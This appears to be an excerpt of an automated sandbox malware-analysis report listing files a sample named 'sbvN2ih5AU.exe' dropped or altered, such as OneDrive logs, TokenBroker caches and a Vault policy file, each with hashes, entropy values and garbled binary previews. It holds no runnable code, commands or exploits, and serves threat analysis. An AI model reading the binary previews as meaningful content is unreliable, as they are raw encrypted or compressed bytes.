SHA-512:	4AA2FF26FC17666223524368FBBEEFD997864B71E18328F82D5766ED90163CAC09020C427822AF78D150B8999633458AFD723D5EC925166D5F34B099C06C9705
Malicious:	false
Preview:	1.0./W.)j.zU.e...^....9.:...................)...z\Q^....ni'.....`.i.d.......;p.4b...........7..:..Mb....(..6.1.Z-...l.....G...t?,..f...(dP.\|...b..Y4./......n..X96.._..v.9.-o.k..S...N.......X..........D3;.#K...t[......M.S...(e...Q-...WB+.`.A,. .d.fC..t...!.../.KD.c..G.6......l.B.H..F..rD..aC............>..........\|...t&._W.....4.......5H.P}.x.....;m.I...n..-.9O.V..G:1:....d.....e.......7.=...W<.}...E.Qn.n.w...~....m.8...d.g.\|.Y.t..E;.Xw.a.\|.q....\|s.u. .+S..=..&&.w.$.yi.2XF2\".......\|u!o..^Wgm-.<..... ...o..B...B....R.M[....y#K,X,-.........X.1...Bat3......C....!.7...Pp..m..v.[y.......n.......i.........../xX-.L<I.....FU.O.K.....Rf.s...3\..._...[EY..h-m.)..V@.@B..7M.\|^.T...?.X..>.nG,j.......Wf....8[..6.....2[..W]CE./v.......~K..........[j....r.V...p.&.7.'.....Y..O...-v.p.5.{.h...G....4t...5.9.!....?%..`~...`...C.....1...S-.-U..:P4....k....`\|=...9..a.D....."....A..o..D.W....06.........M\.E..:.k.=}.../.{...\|\|.M;.....B:.[.[..Q../....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.765829769141461
Encrypted:	false
SSDEEP:	192:0DO30vNQrUhHDp5lBFA/HchjXFyXqkBeVYUJJDo/A/wldptMRPy:OOkFQrU1p5vmf8jXFUqHrfIldnkPy
MD5:	7AA25313F8703AA2228C848F89DD291E
SHA1:	C759147BB44F43A9AA69D8870953CE096F8A3276
SHA-256:	01C1CB48990A87D3EFEDA62BDEF1D1ACFBB5534680DBC694765B013AE06FA894
SHA-512:	91113358F9333184FED0F512A04B85837044D3B28EF76A821A28821C8BE0AD1DD617A3462D22E49F8FDBC65CCD225DCA8DFAFC6B10D45FFDDE378966B374CA66
Malicious:	false
Preview:	1.0./.OP....N.:J...mpc...H...C..D...h..........3-.q.5.9.W].j.f{....'}...J.....4...v...h...R......&..zR..\.P..n@.O`w..?c@k@.. .M.oao..%@w\|gQ.i."x..o.S..6&.....J..........n..#..Q......q+..wt...ge......T....u.....{.m8.X...... X.EE1..v.).H..)..C...Gu..%.SljIA...!Oq....J.8..j..)..-....Pe.]..kK\..'.+C\|;.6.;...>i..U-..7.yEO.B..mP...;.KYe.b.......a.<...w...D..g..~..e.....Y..Dv........e.t.mJ.]....\O.Gb.....`.......Q.V..m...'.......:Ng.H!!...7.-..f!.R"YZHp..u.@iE4....X.........p......,../2.....n....o..".......Up..b`Uj..O6.:.w..{7.M).wp...syl4Hj..H8.;.....d..2.BJ.bZ.Z.7.9.S..T.Y!Cb...!...F.#g..L....d.....I.F....K7.Z{......{...N.r..t...Y.L6..!...p....&}.k4m.2<...# ....7C..4d.U...a....'.&.+.....e~L.V.=J.g,..\|)7.b...\.....r....6q."#O...^.tm......8R..+,..j.v==.kG\.......n...Q.....,\|...^.}u.4...2..-.c..@..I.....D...e.7........W.....U.}..Q..3[.Nesz.....,..us...}.c..NZ=....5z...y=...n...T.O.mw..>6......}*n.p.@.......[..(.....I.?i.'mF....a......./R[.W

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.42690199561147
Encrypted:	false
SSDEEP:	384:p/8aadeWdvhbL+pOGg6fvPqhjhrgUR8EQ/cFpEkil0Ub1EtE40ru+Yw8S:HaoCvxLCOGg6H1Uu/1CUxEtE4N+Yh
MD5:	01B175652EC93DDE270949B24F5A0BBE
SHA1:	6733F4632F2F0B832A798302BC855A57A3CBD629
SHA-256:	BDFBC35F7778623637C36094EB981D7CC0C8260014DC32FA806336155B188FE1
SHA-512:	4CE53D0616F5CF7E8F17A48251DA3DA28F516FD530744E5AE8316DFA2FE4A1377625338B7570273E1E0A6F9A7233E72A9A86621C19AE4CB81D159F1D1CAB5613
Malicious:	false
Preview:	SQLit.mkm....U..B.j...z scv.3.~:.....o....w..4>.qy.N.$>{.p...3..,.P1EAO(.n.}.....>........UsD..JA_"..x.1.Q.=..8..u..&i.4..]"......@.7.B....L....yW.?.(".....H...N......b.~..3...l!O.K..Q.kb.tMp...$YI...'iQ...%.\D.%..P.:d..A;.P!.O.....a.......y.A..9.!.y\'...4.\|..P1.Ir.G.{u<...!..!;_...ER..T.......0..2V..A(.4S..u..l..T.........\|2...x..&k......mS........y.y..~.t...4U$....C/..B.c(..>....).teg..22..lXV^>.._0{..v.....Mge.bm.Y%C...!.X._.........a^....U.0.DlY....?O...FX.vd...JL6........o....1S..f..0...{..7.Pq..k.@..cI..zf.......0V...K....E....#..i/.....+...8"C..1I...vdK..P2............t.q.'......I..KO...xC...2-.'..#... ...6GC.AV.1.}...-R#>^.E^.N.d'.><.T.....}.(j...wA.......Y.u..f.'.."..Yf.<{.....>H..q....Z:c..4.....p...>#..5.....4.c...Y"1\.BU.&H......S.(.FMW..E.X.......}l....t..F*.6.....\T....W.g..5....^.a8...wom..r....CmFn..;.t6s..9.s1m...Cg.L~.Z._.\...ed....49a....UB1..+..&...8Yq_..]^..k.=.}.V..?...)...A........vBD..xs>...'.V.$.U..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4268203178019507
Encrypted:	false
SSDEEP:	768:GUEYirl7k25kt+gCdkZ3tM0ZD6FgnqtKL:GUmljksgECRZDnnqtK
MD5:	1BB2EB972E62DBE89D30C694804A4BA7
SHA1:	9C7B883E703C77A6EE8DC96E83E7F129C9610101
SHA-256:	8FE258F023B8328557EA4F628E58DD33A29042F22AFB1A730AF88E7A3886220A
SHA-512:	BC340C2B5E00304B6126178028EE7EA885986D94B4B30B8B5D159EFCCD44B21AF4F468802C83EBDDF105A21CF81F966EB285CE7B6FF2E80CB308ADD551FCD9B1
Malicious:	false
Preview:	SQLitX%.8.....WH.%.....J.H.z.)...lq.....6.D...."\.)8V...D.d.W.E...].x.n..}..s6Q0.D5G.p.0..O....g...V...J3....k.}_....H.Y..g....m.n..y'R....vA~....^+Y....p...v.....N.....nm.n..A`..L!.#i(d]t".>oX....g.h.BA..h'..ll.W.W.P?\.....a.2#..9.v.Z.......@.....$..(..02PU.U..d~.....[.``5...Jz.w=........c...5...%.e1{.......p.Y...oS...X..(.L.~2x...2b.q."K...vi>..}ak...j_.R.+C..I.Y.4_0.....A.Z....?..c.[.f.....]Whq<.^..H......../$>].y.).6..=5....S1...f/..P_..Cm&.21QFv<&(..-..M...s.....tHC..03E.5..`..c.c*W.o"-Q..<.]p............<6o...m... ....H......'...l.P...hJ@_.^.+.0....A+.a;6P.....$..........>....LL....Y.)..].[T..w5g.ZO...]~O..V..V....Q.z......LKXz14KM,E......YI.$....-b4C'S3T.@?.Ke..I"...B..N"3.87~.l......Uk.....b...)5.........4#c..AxD..o2.\|..RY.t..%.f..o,l.d7...........)...Skg ...TxmZ...d..!U.......<./a...X...z'..DK...v....8h.....W..3.M.:`!J.)...P...8E...N....'g~...m.....Va....S...g".].M[..)...F........p.G2.....]...l..;A.e.P.,8r)..D_..........S..r

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6632913190698738
Encrypted:	false
SSDEEP:	3072:Cxu5rEXCYpxVDd21gg2p2tDl9koAOpN8IGx+gNi5zAIjWK2p8RV6Rfx:nrEXCQVDXUt7AW83kgNuzAtK2p8M
MD5:	6E804916ED929C73F17E8047C8D0AE1C
SHA1:	73FAB42C1C23230CC3214571AFCA7364F2B436B3
SHA-256:	CF4D4BC2DB227060BB6BB1204FF3A447756535DDC9EEB65F1830AEF597BA67B2
SHA-512:	7E9900F4D4A6EFF11DFE696BCB3C40E79150DA8B708EA23F9A6BAE7BF5C805FEDC347E1E889CF5B08883792547BA5B7800FDF0EA02B339D33FE09EC50CD4ED47
Malicious:	false
Preview:	1G.f........a.d...3.Rt=l......E..N. ...b.~J....g=.......$/.q..G.a.m...A...2.....g...\..;..+...\...6Md%.)....n.......;.<.6l....S.....Rhh..T...3.......<i...9...H.9jt#...\.E&.#(..........,......uNS.#.d7."..m....d[=f.,{...:....2.h"..pN%Gh..~5..;..hL...r.Aa..........}v.6.(...E...!.hf...)..c9o. .t.#....S.....dt..Hh..X.7..a..h.P.....Hp..._}..7V...0...R...#.<..;.....K.{n..x.bQ.M'.J.D.........$.3.O......d.4. 4.-.9[..kF..Z.4.....M.W.D.>\.%...X.../.....9e......Hr.:..RQ...Cy...a..9....l1..Lm.`..1...K..X.Oa.......h$.. ....$.j{...7e.Y$5.C..a.I#..Y......l.......f..-Yw.t.z..c...X..l..0.5../.&.E....y.vE.._....NuQaOh.t.....s.=.g...?.#...=d.i..O.[.^.s.........t....XB.T..ujy.J..zH4k....c".@.......$.......d.q....... ....?.].9.MC&.....j.f>9ge..X.>7...4.'.......s.?.....v....P8\|.8.<U.km.N=E.V..H8 ........E........Ibn+........83...;.}Uy...a...+*.<.....<[..(..e....#.m..l...../o.D.Dc....}.._.yOdc.z.B.b..[.+..%Qy0.M....l.`..}.%...0[...a........c....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.429286025010906
Encrypted:	false
SSDEEP:	384:Xh88l/rVSEJj3Q9y5F3y68kaZ2cVR49mpqCbtPms84mB+s5ndi:x8I5ScT7yzBqCMsZX9
MD5:	6A7FA8C6F04D71CC970A93086A2D22E7
SHA1:	3485293D09E9B0AAD98FFDC3AB4214961E476519
SHA-256:	1937C446ACA2A63B32536EDE20208874DFF873F61BFAD3001544B894530E4EC0
SHA-512:	032F494B35B2F05D8A95D5B9A6A31B61AC9367AE5D78C1F03C613A8D1316E380E61A791A95F6DB5953C37B787E831EB2A8EE2F1DEAA3D87707046D82C9FA2312
Malicious:	false
Preview:	SQLityL.....>...U&./+.mM....$...E..?.K6.B..q..y.U...by..2`Eg.P........(.j.P...-..0..z..3bB..f..ouJ.k..Sc..s.nZj.)Foj..h..@#..F......5s>.p7l.b.}........Y(bt.gu.-.d"....:...3...l.C.M.....s.&.la-...Gg..L(!.D...5.R..y...Y.<.P...$1..h.^=..)...M..u&.H/.....P...&.G.Q...O....v.O.C..Y...o.?K...K:..t...Ch..N.C...>.....Q.rSvfJ..g...^..........k....+\|..Y.vZ.Qo...\|x...W>.65..M..I.".,F.k<..K.....J...D&{..uhFM.Va.jN.h....A.!...2...=N.&.v.H.=rr..kmz[..X.!. .N..S.\..:..2..k..xs>.1.]...`..4wU...5._B.......,>...6..;.6.....x.:.#.....s..\..f...7.E`......^...\Q G..B.E...}...cd...i .-.j.}we:SK..K........2'0......O.'FX."....^.U.2..a:.84...m..p..5.>.....x.6.@]4..:N...`..SXsO,.UUi..1.@..-p'..........S.b..f.$..]...=.).S......w3..hN16........G..>,0.../UCM.......N.3o;!..l7.Z`.p....u....[..B.N....psy.(....2.m_.....7.6.G.i...N7;..npI7\M_...`......._!.c...H.,.........4....M%..L&H..7.Bc..[0m>:.lp..\pk.$..i@..........u..F..oP....~.......H...._Q.P.[_B..S...NO..Ohj.~D.

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.863498748299119
Encrypted:	false
SSDEEP:	24:YdZT8EIsnL5XwNBOgvlQTPMW0lNaTSDstfOrGXJQwPJL1a5/XUMjOfNX+sV2bD:YdZT8EfL5ANkAiMW0lNabff3B6/jNsuD
MD5:	609FE6EB8C6DD06446453562617D0C1F
SHA1:	04B2B8CC004EEB7634D7F2F6CF62C0201B79C408
SHA-256:	ECD5D498E512CDCEA47EA9F67F23AA0F49111C25C879B232EA395D7F349F7D1E
SHA-512:	7E7CBB3F13FD25620DF8C128FE72F7ACDC2FA08CB67A6F8D5F9A491842E29990556241545E97E3881427240FFE43DBDFD2FDA6281CFF7DEF7412F125B1AD6942
Malicious:	false
Preview:	{"Rec.7S..p.v...t..C..l...v.&:...7...U......^U....2....(^.Z.. 2.a1.`F.....q.G..7.V...;.W.Q.L9P....,.A...X..n.I+.aiI.....Z..-<h.5.piz.......G..[...d.....)u.D..B....G.#..-^6..As.X..V..p.}..]....S.U.....xbq....,..r..a...Vi...}.^Ti...P......d....../..@0.Y..s.......9>..L..).......U..!=..<...l./.VgGm.....t.....J..o\|.p...Gz.d..S.S../?.A.KV..<.......S..)..;..kF...d....V...w..%.......Z.........p.X.D..'.r......X..........g-F.>.oA..].Eh~.s....%6..j..o\|.W.@w.....w....JY7.>..%.$...{6.\|..3.:D\...n.,h.E[...1.e.O..;u.pU.=..$N....../Q>.x.iT6W$M..g.qJM..V.....it.c\f7.=.\|.>.V5....s..u...-..r.v..m..gO.+.ow..\.VB..[g.<...G..N...q=.Rm...Y4..^.....W..,...I$...}...V<...r..\|.i..k=.W..{..^^..f...i.....fx.X..6..{..g....L._...I..u..=(....bu.g.......v..I..C?;..P.U.r.x....e..R..n.'e.FG.r}..0.j.O.\..@.C..3..^.f.M..9.^.5.yo.Q.,c8..}d...{m.:.........9dR,.....\A.3+..1.Gq..z...$..I-.....n..L-....8....P@.........!+..nrul....e.^"`{....9..2.;...[..........Y.YG.}.V....E..z

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.922349311949581
Encrypted:	false
SSDEEP:	48:Nc7cCJpsP7eMs10GLVJ7jg2LO2Wm0lBEJxiaPQSJft36BRtD:NczYm/7jDOhm0fEziaPQSTeV
MD5:	894C64CD564E69E8CC8F2A9FF3A2BD2E
SHA1:	4285453440D5DDF1A9ADDEBEAC849A23112C2DA7
SHA-256:	C9AE8B571236C6514D260CE9C83F473A9DD1F4CAADFBF53C5F1980781EFE140F
SHA-512:	1EE50B148B3F83E29E24DA4AA2831FDA574895F093CA21095A90A07AE42248E00AEE09093B9CD34C333719CE15FEDE6217BE9D040A126192EBFBF346597496F4
Malicious:	false
Preview:	{.".TV.O. .s....\1..f../F.Z.{^R.Z.P.i.71.^m`.@HH.M.e...H.}#......'...\k..PO.4...G..g......xq.R6F!..0.8.\|......B....~.FH......z..t?..p./....=.$.c.J.3%dD.5...Q~cl/...(....;..<.!\......@,.........:..h).".P...dh..P.....#Sk!j..pJ..Cw......r.........Dc...D.Nk..}.....E.....67.5E...Xi!.eS..G..m.B..S..Gw?+.rO.=...l..$...K..).K.=sF..s.....H4...F.9..$..S.-..zf.%.U..+....1..~........p..."Z...X..]..5.......}.X.C...x2.I.(...r..a..{.h.NG..f....=..YO.1.<...^.W&.=`.....1..yY.xD[.Z..!......A.....).~0..n_u......f.,.m(..q.......yP....A.........G4.Y.D..-.z.......}IK.h2...i.7..]T...;...[...O.Q.7.'.N4.K...\.B... .(P.2.TyA\%=.~.4.........?.dHsQV....u..4.......].0.LN....5=@.`.mETL].!#MUE.F...)z..N.f\...........I.E....u......jww.5..{.....O....b=..4..\|c...%.[V....T.........L..%)/..C......0...O..#..2. Z_.F...... .\..I....K.W...oX..u/ ...@..5c.v..Ff._.KH".^V.?...>.{..B.{..K.P..F.....x[..)l.....E.mL+...}MD..d.j.<...m.......!Ke.m...C.....V.#.....p...H......Z.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.932954650811671
Encrypted:	false
SSDEEP:	48:casn8J4dbaNi9pu6QUQqPMxSaVdN75E/cbcxmuyWCka906tclcwEagOxD:casn869oxS8dNNEUbGMF+Rrh
MD5:	A56ADE1D470E3E2BDB892BD716873576
SHA1:	6C92C65EDCA321217F99A028FFD2FE403A0E5F2C
SHA-256:	277C65AC4566409EA55D5EDEAEE83DAD92DEBA1565135845A40E5FDA80676C13
SHA-512:	181ED3C48C0EFD5B0632C3C34EFD2A48B9BDF24E40E62C07435153B261076FF2B8AA702D3D839DC29BBF78F25C54969923AA2254A5F26299DB41810BB9BF75FF
Malicious:	false
Preview:	{.".T.....=.4.}..n,.;>..Q..."..v....&T.3...w{.......V....P.>..5.YM.~g..Z...Cr....M..:X..U.+......\.[QW...^]..?.qBY..p.N.N._.d...T.j.+P......Ev.kq...QwJ.V..#..\.8W......s.....J.....}#......F..#...xA..s=....6....w......Rz..$......../.Y...Yd.....g].g....j.z3.rP=......;.....Z.....`.3.`0w.`.} ....FGdxQ.9z[...`..$..)..S%.v.[C.W...%TT..].2...i.G..e`.[.. ..D........o_.3...[..Y......6b....K6...6.u.....\|.:w.1..>.De..........p0.X.8.@......E=T..."@...q......c....u.........&28axU.....M9(..96.O6..z....%.W.ay..\../.j..........!.C.e..D..8...p....I.F...{........<.....)O.7WcA..`...3..nL..<&F...o&E...U..j.W....YB.... ...?...Za.\S..HR...).Z.."..B7.jyO..{..x....W..2w&....f....pu....lu..hR...Qx.....1~k&........s..\|C....(.L.W\|.F`f>..WX.........o.wg.....l.......".1.=........Xj.....K.........=#...S1...*...1F..=..}.%..P.;h..T..n^0g`e...8..Ti4.sEiD.._w.....[.....ah;v.ve....Z?.t-5..O.._....j...,zO.......c......rO....].h.........3V.......v...x.j.....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.965600367945957
Encrypted:	false
SSDEEP:	96:J6WE49ocMBvvTQE9DyXZhAnq1Qe8m6DkoDRl5Pgf2GVKXGcH2RwHD67EL:Z9oPxvkEkpd1Qe8VYo354evg6jE2
MD5:	13516D043DEE8E4C08BD5464F01EB8BC
SHA1:	5627D10CBBD5D829103D481FF0A53466D1DF3900
SHA-256:	1797886367EFE825002A320F4837926027EC8870C7903C00A8396EF1558CDF85
SHA-512:	2F758F3255B7E3C665A26BD828C55F9B009883673BD11363614651187D2D46895C7D55FA2CB4B7D451A9950E06001559A4866318E79D4606451FFBF16B6E3B82
Malicious:	false
Preview:	{.".T......./._,.UW.....).]J6`./.m..Y...w....G..i.2U.....&.......B.`...}...t.R.....c/..1..0}b.{./=(.2`Q........z...#....e.[.g..N.l......U.k...D..U..x......~..E...........5F..z0....A.!.z5.Q......-..R51^...GS.A3e.u.$1 ...r.7oK.....Z./4..G^......B.),......@8T.EA5...X.....U\.3 .d._6r...v.`a.....=.Sp@0Qe.....9b..bIt?......q.f..&d.a.....n$..A..bY.....,.?T....z....l.......~m.j..`........a../.?.i4.,G..i..cLe..../..[.\.....6....;.4.=...Fpt0.,!\..&...[>6 }HoU..b.....9....K......h.q...k....4."c.W.E?p.M..0.9``.$..w.V.v'w.._.'...Fp...-..%....G....s.D.\|.x5.0nY1g....d....s...Gu^K.D.....E.?.3..!.%&\|).........$....u>.51).M.1...PG0.^v'C~...uzU.d............9.h.U...xN..?..X......2....2.x.S..\|..=V....`+..k.G... ..{........f........un.N...~x~.av...U[..RK.N..).O..[\..r....z..v..3t`..q."....C..{.'....].f}..+...~$M..U"..)S.....L..c....E.g ........_j......].....i`\|..>Y.5....6...o.m.x...9(O.V...k....&%..NZ1......<.?UT8$8.9.1...-.q..K..P.}...h..../......

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.939265947016677
Encrypted:	false
SSDEEP:	48:UPR/kooPXuqqL9pgOnAVzyI65+5NcqHTzXaW+DHxfRJvfGG6YKoaF60Sguk7a3D:mR/oPVqZpHAVOI6A5hnqW+DHxpBfGG68
MD5:	8B552E889B79D3CF96955294159C6621
SHA1:	4B89188484EEDA282C2106165468BD1DE195E909
SHA-256:	BFB5A07459F9AF1BFD93621A4DD63A0A44DCA36CC7C3514EA0E29E50B1B8212F
SHA-512:	787AF193E1AD5F1E550D8B74F8A00AB1DEE896C9416573C688119DE0EEA913CEF1D9EF81207D34D78492B2B8C4F4E8C39B52C77355B0A3ED0C7D3E1DBEBA8561
Malicious:	false
Preview:	{.".T=l-..Omfs~.....X....[Q.uaR.._.A..u.k~+#.#.A......Iz.-....J....+.e..^..s....o...?04..6...iz.G(.Q..0.xM=...I ..<?...ez/.......x-.C..9..Lva.Um..9cY.ro...C..E.`.c9W.b.do...\|..b@..D......Pb'J......bj....Z....J%.8..'...3.....mJ.6....._}.k.>......g.8/G.n....\|&W".......g......+e...1[....C.\I...^....#..."J.....'.$y".T..A....]g.:.u.0.....<4..}:..l2.].pX.\|.....P..8.=...\.~D^1..~.T^(-....Y...6.g..?.H.%O"..........SK.6:'......)...~.\...}.,.....Ipg..Y......z?E?#mw...9..ga..sd..D.D.......-.0'.{...,.3.....I...a..P.1M.n.......yJ.+w...E..9(.ynC.E.......j.7i._q.......X$.-..>.Y..3p.[./1.F..s@..D..,.9F.". ..s..)..k...<j...&r..x.H..Q.2=\| P}..3.!..o..._..j?..R..J.O.E...<......_.8..JD..... ........8...........7.Gn..!:l.u....S..z..{...........NqQ..xe...].../.&...c..(.'...#...m'~v...0{`.tB0/...d*......9.3.'@.........W.v.du.<..63....2..Z.y1X.@a...>.]1.x)..V..V......U....{.....PS.e.v..g.&A....)$.?~...iX>n9...;.MEB.Gx.X}...\|..i..+.......3...#3.:r.&..-).&F../OE..bk.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9356319206052754
Encrypted:	false
SSDEEP:	48:e22wY38yzLzY1uWYt+UTlYEizkOUVeR/h0niMwXni/64JC9RwRH6ni8tD:eV3NHOpEiz6QJni/64L6nt
MD5:	29C987DD4768B010EEC4376482BB6CDA
SHA1:	C69F93376EF033484017B89CD9CD9F1469CACC5F
SHA-256:	113B7513506CF2A90946035C86D594249DD8427A109B7018772A652A3D8DD169
SHA-512:	3C65C5F2DC6A20221E6BFBF440FC9E254EEC337B880F80C8AC0727E369EC1235E290C8BE6464F3409B3B0B6F38D29117CB1D1A88F835F583ED2A0D6D5A10D3A6
Malicious:	false
Preview:	{.".T..Y..5._.5.eJ.......L.Nv&o.V.....+.=b.......\...CCD].I...k..4He^b.U_N..$=g.#..n.~..#X..S........`8&...G..(q:F....,`...T...~+"P.V.l.>mS0m.0.H,....^b.o.....7...5...A@.t5...Z"$(....K..d....}.....}..rZ#..R.dq..u.B..B.........uO..V....k.....7..S.).H.F.h.c..+R.#......}.Os......yD%..w..ce...G......R..@.L...?.....B.G...._(.....".'..d]...Y...+.dn..7..F....b.3.k+,-.s..T..<. .....x.\.'.L8n........SVx.x.C7...uX...z.y>....ftZ>..9.(N.S..?[.vJ.w....>oM..-.._\..M.~.Mz.U,.P.<.Q.....y%.e....O;..{.K...r<.o4...-.>A..=..{~...9..@.......\..KG..F.+...G.....h.W.........x..p.&.S.}.L...p,.j.V2.].4...{..:e.C....#..%.p..}>...:.,....V....%&..:.r.R-..:.h;Pl...3.(..uc~.s.aEg......V;...0.{X.8.......}..VW..1.dP....Q[....GkG+.... .{.[..\|K.=..c<....D.Nz...58.[X.!.(....>.%.......,..\A .....U?.L.....Oy.....h...uu....U..4.f.$..F....u.hi..3!}..(MP....T...#...."..R......xr.%..ng.u..2....s.o[.......QW....\|F...I.\E..N<>K..T.\|Vw...k...Z.-*....T.B.....WJ.Ji...@.<..:.Y..9.

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.698557555585217
Encrypted:	false
SSDEEP:	24:L7XNjsWLMjbthYkJpqL/ondXuCsAVmdp2bD:L7X9sWQLYvL/ondXuCrOCD
MD5:	86444658D307C4064B803EB955135FB1
SHA1:	7C8D30DDD782713FB0BBE3D491EB80BFE399E2EC
SHA-256:	B39B5F914339DFF31DEDF502F4C9A53CED9ABE4C03888E2F9DC7CF63DCC5C47D
SHA-512:	341106AAE68975B18A67AAC3655AE496A448D075E21079166F39EE310146B204A71E54172CBD4281DB015333D383AA3A506484D561857D2BC0BBA30898F6170F
Malicious:	false
Preview:	....B..FC.....=..-...Z).^.};......d%..c...../.@.0.A.W.."x:M....T......qj...V..cA.N..p..,..9/x.m^rs.v..eCV.v....).H.t.&.n1....X..x..z.x....7(...6l.........[-#.y..........q...vx4WXt.vC3..#.#...E3.....x.e..:.........vRi..L.\.2CJ-......u!.K..u..\|.:..M......U=.z.J...l.w..........^.q....m._...2.e.....G.H.J..&l..A.yA?X.../.......9.3.Q...B.q..`o....Q8...S#.....[~]......^g....pO.9..};+Mn......O.yc...A.. .T._.m.8.2.]..T.L..x.{.q}o..:X.[\...L.u..k@x@......=.o#.E#^w.....CX....>..u..DHu>/....>.1C{....p....P>}.......(...&P.3.3..#,.....8...A.<).-..y.U.# ......t...9qP.5.U.S.....t.....s.`..zc...{.....:$9..._...7.`.X.U8.....W<.w......jc!........<.R...@..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.330728141529623
Encrypted:	false
SSDEEP:	6144:cCwTQFdiZcCy77g40i1qOGCSfGUkfm+vyJfbnQkK96B88yKv4bWTmTvEiLSc:cCfKXW+OGCSOUkfm+6dF4/D
MD5:	42F16D9B387C073C041EAF0E212ED437
SHA1:	AEE16621CFFAC1C526408E4A358BC03E6B60A40F
SHA-256:	E8D75FCCF9C845E512FEE78A824D604FC3252343AD8B43D8EC0D6A04A8A4681A
SHA-512:	41AE32B3EAFC611647463D96995842206F39086B292F82106CD8C6396D8792D26DF6D6B7D26B43E376D71FE6E0AB91FF3DED03154DC32080ABBDBF6D282E6BAE
Malicious:	false
Preview:	...P..n.h&e..#(rm2......M5...#......{........V.`....$~..a6....r..^g..c!4d_.P......t.XJ...$/.{jJn..q-.....fq...3%._.R@.h...6..eK{L....{...."2..w ....sz4...<......\..B..c....-...%....2..:^....,0B&....H'R&.r..n....4...p.V.d`..v....6.X...I...6...g..f.Br......g....h..u..e..@.4..Nk..->g..T..snTZ..Z..\|.[9.k.`.P?.a!..r..7..eXt~._ B...wrw!...5...A.%....98.z.0...M....o.]...V..q..1.LS...C.y..z5.\..9T...P.;j..7.".....U...\|......G..........`fn.+.4s.P..:)..:.....D.R......(A...>...X..l1.2..zkJ....Q.......[.1.f..(OJ..r.tV.E.o.h.I.Ax...3.....v.....u......s^v.-..E........j.H]...~.t$.....]...4..a.V@Y.#..F..>......cD..W.W.y...<QqWJ.X.......}5....-.=.....:..].o...0..).F..m..?.L4=...k.K/...U.O7...=.....3S.5...@...E+.:....t....v......ct.....Vv....R..,.,.z.PgA......T.{+..v...\|...1........q...<..m..j...OO8..'Qc.E.....].L.....$.0.h.JNQh........%....%9..y.[8.zR.-^GL........$....2..w..@..P..<.e......o...>$Y)...Gh./.AV..l...amQ..].a....#.'.u.9.6:t.g....{/..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989863426054324
Encrypted:	false
SSDEEP:	384:Fyv78kbz2GqeCqB9xdMGqIwuJw+mN1x4YotKTav0l4HC:FyDrCy9xdMGFK+mzxPxO6aC
MD5:	0A31E8DEC8047CCADFBD35ACB94F97E9
SHA1:	0FF1639BAA992A9676A54CB6453E71945BFBECF6
SHA-256:	731975CCAAE9E75C53FC2D4827E9FF21BA2813B555F50F43E75531C4707BD3DD
SHA-512:	5D3A4FBC231D0C8D18D670855DE70C4D6AA42404E6CB431A4628BF19797252FCD939A4371981BBC70EC7A37F888D27706B1691B35390AF3198E4C300BABCF84F
Malicious:	false
